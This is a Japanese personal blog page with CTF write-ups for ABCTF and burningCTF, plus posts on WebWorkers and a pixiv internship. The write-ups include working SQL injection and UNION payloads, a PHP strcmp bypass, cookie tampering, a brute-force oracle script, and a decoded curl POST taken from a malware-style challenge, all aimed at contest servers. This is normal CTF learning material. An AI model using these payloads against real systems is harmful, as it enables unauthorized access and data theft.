writeup的な
ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…
と楽しみに思っていたのですが、いつの間にか終わっていたので、
少し凹んだ。
Writeupがわりと寂しくなっていてショボイですが、覚え書き。
Caesar Salad - Crypt 10
xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}
caesar solver
などでグーグル先生に聞いたり
abctf{w3_thought_w3_n33d3d_on3_of_th3s3}
Elemental - Web 10
<!-- 7xfsnj65gsklsjsdkj -->
Just open it - Forensic 15
strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep "ABCTF" ABCTF{forensics_1_tooo_easy?}
GZ - Forensic 30
解凍するだけでした。たしか。
The Flash - Web 35
$ echo "c3RvcHRoYXRqcw==" | base64 -D stopthatjs
Drive Home - Recon 50
document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing
googleドキュメントのURLっぽいなあと
思っていたら、そんな感じでした。
Chocolate - Web 50
cookieの内容e2FkbWluOmZhbHNlfQ%3D%3D
をデコードしてみて、
$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D {admin:false}
false→trueにしてまた戻したり
Java Madness - Rev 50
引数の文字を逆にしているだけみたいな
$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\ ")' | xargs java what_the_hack ... Flag: ABCTF{ftc tselooc eht si ftcba}
手で逆にしていったほうが楽…
とりあえずrubyが書きたかった
Hide And Seek - Bin 50
main: ... 0x0000000100000f0c <+28>: cmp eax,0x0 0x0000000100000f0f <+31>: jne 0x100000f1a <main+42> → 出力しておわり 0x0000000100000f15 <+37>: call 0x100000e70 <totallyNotTheFlag> ... totallyNotTheFlag: ... 0x0000000100000eb0 <+64>: call 0x100000e00 <decrypt> ... decrypt: 0x0000000100000e2c <+44>: cmp rcx,rax 0x0000000100000e2f <+47>: jae 0x100000e63 <decrypt+99> → ret
gdbで適当にdecryptをループさせまくるだけでしょうか
gdb$ b *main+28 gdb$ b *decrypt+44 gdb$ r gdb$ set $eax=0 gdb$ c gdb$ set $rcx=0x0 gdb$ set $rax=0x30 gdb$ d 1 gdb$ commands 2 x/s $rdx set $rcx=0x0 set $rax=0x30 end gdb$ c
あとはエンター押しまくるだけ…
gdb$ Continuing. 0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"
MoonWalk - Forensic 60
foremostしました。
L33t H4xx0r - Web 70
source.txt
... if(strcmp($PASSWORD, $_GET['password']) == 0){ $success = true; }else{ $success = false; } ...
strcmpのやつでしょうか。
配列で送って…
http://yrmyzscnvh.abctf.xyz/web6/?password[]=a
abctf{always_know_whats_going_on}
そんな感じです。
Get 'Em All - Web 80
よくあるやつですね
' or 1 = 1 ; -- '
ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}
JS Pls - Rev 80
base64をデコードして難読化された部分を見やすくするために、
&&のところで改行したあと、
メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、
あとはわりと手作業でした。
process.stdin.resume(); process.stdin.setEncoding('utf8'); console.log('Give me a flag'); process.stdin.on('data', function (a) { a = a.trim(); 19 === a.length && a.substr(0, '5') === "ABCTF" && a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1 && 123 === a['5'].charCodeAt(0) && a.substr('6', '4') === Object.keys(process.versions)[1] && a['10'] === a['13'] && 95 === a['10'].charCodeAt(0) && a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0] && a.substr('14', '4') === "w4Ck" && (console.log('nice job!'), process.exit()); console.log('nope!'); process.exit(); });
上から順に、
- 19文字
- 0~5はABCTF
- 最後は
}
- 5文字目は
{
- 6~9文字目
node
$ node -e "console.log(Object.keys(process.versions)[1])" node
- 11文字目と13文字目は一緒
- 10文字目は
_
node -e "console.log(String.fromCharCode(95))" _
- 11~12文字目は
is
console.log((typeof x)['5'] + (typeof a)[0])
をつっこんでみる
- 14~17文字目は
w4Ck
ということがわかるので、
まとめると、ABCTF{node_is_w4Ck}
みたいな感じで。
もう少し効率よく頑張りたい…そんなこの頃。
Reunion - Web 150
?id=sleep(1)
とか?id=1 or 1=1 ; --
やると時間がかかったり全部出てきたりするので'
いらないんだなとか分かったり
こんな感じかな
select * from Dog where id = $_GET['id']
みたいな感じで
unionのカラム数を1 union select 1,1,1
みたいな感じで増やしていくと
カラム数は4つだとわかるので、
とりあえずテーブル名が欲しいので
1 AND 1=2 UNION SELECT table_schema, table_name ,1,1 FROM information_schema.tables ; --
... Color: 1 Name: INNODB_BUFFER_PAGE_LRU Breed: information_schema Color: 1 Name: w0w_y0u_f0und_m3 Breed: webeight Color: 1 Name: webeight ...
w0w_y0u_f0und_m3
テーブルが怪しい。何だ
1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --
。
abctf{uni0n_1s_4_gr34t_c0mm4nd}
的な感じで
Inj3ction - Web 170
login.txt
... $username = $_POST["username"]; $password = $_POST["password"]; $query = "SELECT * FROM users WHERE username='$username'"; $result = mysqli_query($con, $query); $logged_in = false; if(mysqli_num_rows($result) === 1) { $row = mysqli_fetch_array($result); if($row["password"] === $password){ $logged_in = true; if($row["is_admin"] === true){ echo("<h1>Wow! Your flag is: $flag </h1>"); } } } ...
- 1行
- 結果のpasswordがPOSTされたpasswordと一致
- is_adminがtrue
を満たす結果をunionすれば良いのかな こんな感じで
1' union select 1,1,'pass',true ' ;--
みたいな
curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass <h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>
そんなこんなでした。頑張ります。
あと、開催期間はちゃんと把握しておきます。ええ。
久しぶりの
ブログです。
最近はわりと自堕落的に、
本を読んだり、落書きをしたり、
Unityで遊んだり、ネットワークで遊んだり、
Pythonで遊んだり、Cで遊んだり、
してました。遊んでばっかりだな…
それで自分の底の浅さや至らなさなどを痛感したり、
頑張っていきたいと思ったり。
特に何かを強いられているわけではないのですが、
やはり何かを課さないといけないのでは、とか思い、
兎にも角にも少しでも出来る事をやっていこうと、
そんな感じで。ブログを書いていこうと思ったこの頃。
毎sy…いや、せめて毎月…
特に書くことはないのですが、
何か書かないと、アレなので、
最近ちょっと触ってみたWebWorkerのことでも書こうかなという感じです。
また読みづらい文章書いてるな
などと思いながら読んで頂けると本望です。
WebWorkerのことはわりとMDNさまや、html5rocksさまに色々書かれているので、詳しくはこちらを読んで頂けると幸いです。(投)
Webのことはあまり詳しくないのですが、MDN(Mozilla Developer Network)を眺めているだけで色々わかった気分になるので、とても良い読み物です
html5rocksもとてもワクワクする感じが楽しい。暇なとき、食事のおともに。
結局のところ、
JavaScriptはシングルスレッドなので、スクリプト中のコードは必ず順番に処理されるのですが、
複数のスクリプトを同時に実行したい場合、主にイベントやコールバックを用い、また、非同期処理の結果によって処理を分けたい場合はPromiseAPIなどを用いると思います。多分。
そんなわけですが、
それらは並行処理を擬似的に再現してるわけで、実際のところ、DOMやUIのレンダリングなどと同じメインスレッドで処理しているらしいです。
WebWorkerというものはバックグラウンドでJSファイルを実行する仕組みらしく、表で動いているメインスレッドとは別に、独立したスレッドで動作させる事が出来ます。
たとえば、こんな感じでUIの処理と素数計算が同時に動作するページだと、
画像が動いてる途中で思い処理が走ると、UIの処理が止まってしまいます。
WebWorkerを用いるとUIを止めずに動かすことが出来ます。
外部ファイルにJSファイルを分けるのが面倒なので、HTML5Rocksで紹介されているインラインワーカーを使用して、BlobBuilderが無くなったため、Blobを用いています。
ほかのWorkerの生成方法はここはここで色々紹介されています。
あと、githubのhtmlを表示するのはgithackというのを使ってます。ベンリ。
正直のところ、
外部ファイルにしたり、Blobにしたり、メッセージを送ったり返したり
色々面倒なのですが、
Parallel.jsというのがあるらしいので、そっちで書くとちょっとマシな気がします。
Parallel.jsのデモ(動きは一緒です。
せっかくParalleljsなのだから、もっと並列なコードを書きたい…とか
思ったのですが、
並列で素数を数えるのがわりと難しかったり、mapがうまいこと動かなかったり
だったので、また思い立ったときに書ければな…
みたいなこの頃
インターンの感想など
ピクシブのインターンに
行ってきました。5日間。
楽しかったです。
pixiv自体わりとよく使っていて、インターンもとても行きたかった
けれど、過去のインターン参加ブログなどを拝見していると自分が行ける感じでもなく、
ダメ元で応募してみたところ受かってました。
倍率は割と高かったみたいで、何故受かった応募してみるものだなぁ等と思いました。
ダメ元だったため、最終日の翌日から北海道みたいな無理な予定を入れていたり等もしました。
面接では「普段はRubyとか書いてるけどPHPも全然イケます…!」的なことを
言ったところ、珍しいねと言われ、
もし受かってもウルトラPHPエンジニアに囲まれて着いていけるのでは…とか
翌日から後悔に悶える日々でした。終わってみると良い選択だったと思います。
内容
初日
事前に2分程度の自己紹介資料を作成しておくように言われており、
2分とはどんなものか…とか
悩みながら作ったものを発表したり、
サラッと流したつもりのスライドに載せていたtwitterアカウントをフォローされたり
したあと、6チームに分かれ、各作業を行いました。
自分は「百科事典改修チーム」というチームに配属されており、
総合職の方1人と、エンジニアが3人の4人チームで、自分はエンジニアとして参加しました。
内容を端的に言うと、ピクシブ百科事典というサービスを実際に弄らせて頂くという内容でした。
良いのか。
最初内容を聞いた時はあまり理解出来なかったですが、
終わってみてよく考えてみてもポルナレフ状態でした。
具体的にいうと、
「pixiv百科事典は閲覧数は多いけれど、調べたいことが読めたらそのまま帰ってしまうのを何とかしよう」
ということで。
他サービスへの流出量の50%アップというのが課題でした。
環境構築と課題の解決に向けた方向性や現在上がっている問題などの話し合いなどをしたり。
ホワイトデーによりマカロンを頂いたり、
ホテルに帰る際スゴイ雨風で傘が壊れたり。な初日でした
二日目は、午前中はpixivのエンジニアの方のお話を聞いたりしてました。
自分のチームのメンターをしてくださったtadsanさんの発表資料です。
昼からは前日に上がった問題点をgithubのissueとして登録して、
それを解決したり、ABテストをするための実装などしたり。
本当は1日目にも変更をデプロイしておきたかったので、急いで作業を行ったり。
三日目は午前中、
Pixivの社内で行われる全体会議に参加させていただいたり、
したあと、全社員がランダムで席の配置が決められるシステムにより片桐社長と同じ机でお昼を取ったり。
午後からは同じく作業を行ったりしました。
四日目は修羅場作業出来る最終日だったので、頑張って作業したり、
最終日はそれを発表したり、
そんな五日間でした。
業務は朝10時~気が済むまで19時で、
遅くまで残っても作業に付き合ってくれて、とてもありがたく申し訳ない限りでした。
あとハーゲンダッツを頂いて、すごく久しぶりに食べました。ありがたい。
社内の雰囲気はすごくオープンな感じで、
前日までのこんなところ来て良いものかと思っていた感じとは違い、
すごく居過ぎる居やすい環境でした。
あとホワイトデーによりマカロンを頂いたり、
飲み放題な味噌汁サーバとか、ピクシブ栄養ドリンクとか良かったです。
みそ汁は具を入れ過ぎるとワカメの増える量がすごくて大変だった。
あとすごくイスが座りやすくて、何気なく調べたらすごく高くて驚いた。
あと絵馬がすごかった…
憧れの絵描きさんの絵が沢山あり、
nababaさんとかlackさん、あの方も、あっあの方も…みたいな感じで
それを眺めてるだけでも1日使えそうな感じでした。
帰り際の新幹線ギリギリの時間に描かせて頂けることを知り、
15分ほどで急いで描いて帰りました。もう少し時間があれば…。
感想
Pixivというサービスは絵描きとしても気に入っているサイトだったので、
ピクシブ百科の中身を覗いて、ここがこうなっていてここが…ほぇ~などとなったり、
実際に何万PVもされているサービスをいじったり、
使用ユーザーの行動をイベントを集計して見たり、
実際に自分の作ったものが実際のサービスに反映されたり、
エゴサーチをしたら変更に気付いてる人がいたり、
ユーザーとして中の人とお話したり、すごく幸せでした。
PHPと言って良かった…お得感。
お世話になったメンターの方や、チームの方々、ありがとうございました。
これからも頑張ります。
burningCTFのwriteup的なもの
和風(WAF〜)CTFというとてもナイスなデザインのCTFであった
全体的に初心者向けであったので、メチャンコ初心者な自分にも楽しめた
稚拙ながら、とりあえず解けた問題のwriteupというか感想というか なものを書いてみました。
101 image level 1
つなげるだけ
111 ワットイズディス?
漢字2文字 + カタカナ(甲骨文字
112 cole nanee?
メッチャ忍にしか見えなかった
113 Lines and Boxes
画像検索するとアルファベットの漢字化みたいなのが出てきたのでNARUHODOとなった
115 毎日使う
「気」を入れてダメだったから戸惑って諦めてしばらく放置してしまった
氣合が足りない
121 壱萬回
objdump -d すると、
0000000000400920 <showFlag>: 400920: 48 83 ec 08 sub $0x8,%rsp 400924: bf 46 00 00 00 mov $0x46,%edi 400929: e8 a2 fc ff ff callq 4005d0 <putchar@plt> 40092e: bf 4c 00 00 00 mov $0x4c,%edi 400933: e8 98 fc ff ff callq 4005d0 <putchar@plt> 400938: bf 41 00 00 00 mov $0x41,%edi ...
echo "464C41475F3563333361316238383630653437646138363437313465303432653133663165" | xxd -r -p
みたいな感じであった
123 Unity遊戯如何様
この部分のilをいじってコインが増える数を増やすとFlagが出てきた
3つコインをとればFlagが出るので、2個ずつ増やすようにしたら3を越えて出なかった気がする
たまたま友人がこういうものを書いてくれていたおかげでなんとかなった 感謝🙏
mac用にビルドされていたけれど、
macでうまくilがいじれなかったのでmac向けの問題だったのかよくわからない感じであった
131 image level 5
md5 シーザーと思ったけれど並べ替えだった
132 Ninjya Crypto
忍者文字的な
133 Decrypt RSA
142 Ninja no Aikotoba
encryptはプログラム書こうかと思ったけど手作業で出来た
難しくて長くかかったけどfirst solveして嬉しかった
161 ftp is not secure.
wiresharkで眺めてFTP Dataのサイズが1500くらいのやつをfollow tcp streamするとbase64っぽいのがあるのでデコード
strings 161-problem.pcap | grep ==
162 ベーシック
パケットを再現したら解けてしまったので深く考えていなかったけど、しばらくしてから:に気付いた
164 Japanese kids are knowing
苦しゅうないと書かれているのでmasscanとかでスキャン
開いてるポートにncで繋ぐと
```<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name in lower case.```
塩基配列か何かかと思ってすごい時間かかったけど音符であった
165 Malicious Code
windowsのプロパティだと全部読めないのでstringsとかで読んで実行するといい感じになるので、それを^取ってアレして実行すると結局こんな感じになる。
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "myaddr=myIP" -k https://210.146.64.38:60444/p.php`
myIPに65行目のIP(10.0.2.222)入れてPOST
173 Akiko-chan
画像検索して出てきたurlを解答
181 search_duplicate_character_string
とても頭が悪いコードを書いてしばらく待って出てきたやつを使って手作業で適当にやると10分もかからなかったので良かろうもんであった
a = File.open("dup.txt") str = "" a.each do |s| str += s end spl = str.scan(/.{1,#{5}}/) counts = [] spl.each_with_index{|a,i| cn = spl.count(a) print i,"/",spl.length," ",cn,"\n" counts.push([i,cn]) } moredupsample = [] counts.each{|a| moredupsample.push(a[0]) if a[1]!=1 } moredupstr = [] moredupsample.each{|m| next if spl[m] == nil # print str.scan(spl[m])," ",spl[m],"\n" if spl[m] != nil s = str[str.index(spl[m]),6] if spl[m] != nil moredupstr.push(str.scan(s)) if str.scan(s).length != 1 } fl = true c = 10 while fl do moredupstr2 = [] moredupstr.each{|m| s = str[str.index(m[0]),c+=1] moredupstr2.push(str.scan(s)) if str.scan(s).length != 1 } fl = false if moredupstr2.length <2 end p moredupstr2
雑魚
182 JavaScript Puzzle
nodejsで頭悪そうな総当りを書こうとしていたけれど、めもりなくなって止まったりアレだった
こんな感じで読んでいくとそれっぽい感じになる
0b1001100 = 76 = 0x4C = L (0O000101) = 65 = 0x41 = A (101) = 101 = 0x65 = e
難しかった
[(0O000101),(0b1001100),(101),0x52,0x54]["map"](x => String["fromCodePoint"](x))["join"]("")["toLowerCase"]()
183 Count Number Of Flag's SubString!
これまた頭悪そうコードを書いたのだった
require 'net/http' require 'uri' url = URI.parse('http://210.146.64.36:30840') alpha = [*"a".."z"] alpha.push("_") str = "flag={" grs = [] loop do |time| flg = true cou = 1 alpha.each_with_index do |a,i| next unless flg strs = str + a res = Net::HTTP.start(url.host, url.port) {|http| http.get('/count_number_of_flag_substring/?str='+ strs +'&count=count') } cnt = res.body.match(/are.*</).to_s.gsub("are","").gsub("<","").to_i puts strs if cnt > 0 flg = false str += a end end sleep 0.1 end
184 解凍?
頭悪そうなコードを書いてひたすら解凍したけど途中で拡張子が変わったりすると止まったりしてその都度手作業だったのは阿呆であった
191 GIFアニメ生成サイト
画像をアップロードすると出てくる生成ボタン
<input type="button" value="生成" id="cb" class="btn btn-primary" data-id="????">
の data-id= を1にするとCTFあるあるが出てくる
writeup見ただけだと簡単なものだと恐らく思ってしまうけれど、試行錯誤して実際に解けると感動するものであったのだなあ となった
193 箱庭XSS
stringsでアレなjsを見つけて実行しただけであった
アレな感じもしたけれど、他の人も同じ解き方してる人がいて安心
194 YamaToDo
Web問に慣れていなかったので、これもxssすれば良いのかとか色々試行錯誤してたけど何も出来ず、
コードを読むとあからさまなsjis対策がされていたので、文字コードの問題なのかと思う
euc-jpかと思い、適当にここの文字列を貼り付けて適当なSSIDでcurlでPOSTしてみる
curl 'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/?ie=ujis' --data 'user_id=yamato&password=◆□■△▲▽▼※〒→←↑↓〓�����������∈∋⊆⊇⊂⊃∪∩�������action=login' -H 'Cookie: PHPSESSID=testtest'
このSSIDでログイン出来たので、ujisをちょっと調べてみてもよくわからんけどフラグもあるしよかろうとなった
それをmageさんに聞いてみても?となる
帰って色々削って試してみると
curl 'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44' -H 'Cookie: PHPSESSID=testssid' -d "user_id=yamato" -d password=aaaa curl -s 'http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44' -H 'Cookie: PHPSESSID=testssid' | nkf | grep "☆(ゝω・)v " Ⱦ角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}
(・ω・)??
ということは...となり
これを
こうすると
出来る
何故
コードを見返すと
break 2;
ジャナイ
コードちゃんと読めばメッチャ簡単な問題だったので大変たまげた
雑魚ゆえお許し下され…となった
breakコワイ
197 箱庭XSS 2
1と同じ
201/202 将棋詰め
詰将棋勉強しつつ頑張った
203/204 将棋詰め3,4
web上に自動でやってくれるのがあったのでカンニングに任せてしまった…
解説された問題も惜しいところまで行ってたのがわりとあったのは、持ち前の諦めスキルが災いしたせいであったと思う
色んな話を聞いてもっと精進しなくては…という感じがした
初心者を脱したい
一瞬だけ3位になったので成仏しかけた